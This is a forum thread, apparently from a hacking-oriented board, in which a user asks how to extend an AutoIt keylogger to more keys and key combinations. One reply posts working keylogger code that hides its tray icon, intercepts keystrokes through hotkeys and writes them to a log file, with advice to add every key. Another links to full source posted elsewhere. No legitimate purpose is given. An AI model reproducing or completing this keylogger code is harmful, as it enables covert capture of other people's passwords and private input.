Jump to content

ok getting started...a keylogger


mikeit

Recommended Posts

ok so after spending 2 hours reading through posts and hitting the favorites button more times than i need, i am finally going to post my question...after another short summery before i ask so you know where im coming from...

just started using au3 scripting to build a keylogger program, i have the basics down like a-z 0-9, however, i need to know where to find say If _IsPressed('36') Then

_LogKeyPress("6")

the digit combo for each key so if i wanted . it would be ifpressed such and such

second of all how do i make it to log combined keys aswell as singular keystrokes?

would apprieciate any help, thanks :) ....while i wait on an answer im going to search through more things in this forum cause its just too interesting xD

Link to comment
Share on other sites

ok so after spending 2 hours reading through posts and hitting the favorites button more times than i need, i am finally going to post my question...after another short summery before i ask so you know where im coming from...

just started using au3 scripting to build a keylogger program, i have the basics down like a-z 0-9, however, i need to know where to find say If _IsPressed('36') Then

_LogKeyPress("6")

the digit combo for each key so if i wanted . it would be ifpressed such and such

second of all how do i make it to log combined keys aswell as singular keystrokes?

would apprieciate any help, thanks :) ....while i wait on an answer im going to search through more things in this forum cause its just too interesting xD

dont bother with autoIT because it pegs your cpu there are many versions of a keylogger already written in autoIT and it just doesnt work very good.

Link to comment
Share on other sites

actually, i have made quite a good keylogger that has zero CPU usage.

don't use lspressed...it's WAY too slow...around 100 CPU. Use hotkey.

i won't all post the code now because it is too long, but here is the gist:

#NoTrayIcon
Global $log = ""

HotKeySet ( "{a}" , "_a" )

While 1
sleep( 60000 )
Fileopen( 1, "log.txt" )
Filewrite( "log.txt", $log )
Fileclose( "log.txt" )
WEnd

Func _a()
HotKeySet ( "{a}")
send("{a}")
$log = $log & "a"
HotKeySet ( "{a}" , "_a" )
EndFunc

this only logs when "a" is pressed.

all you have to do is add in the other keys are you should be golden.

Link to comment
Share on other sites

Yeah, alrdy did this a while ago, here is my post (with full source):

http://hak5.org/forums/index.php?showtopic=11136

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...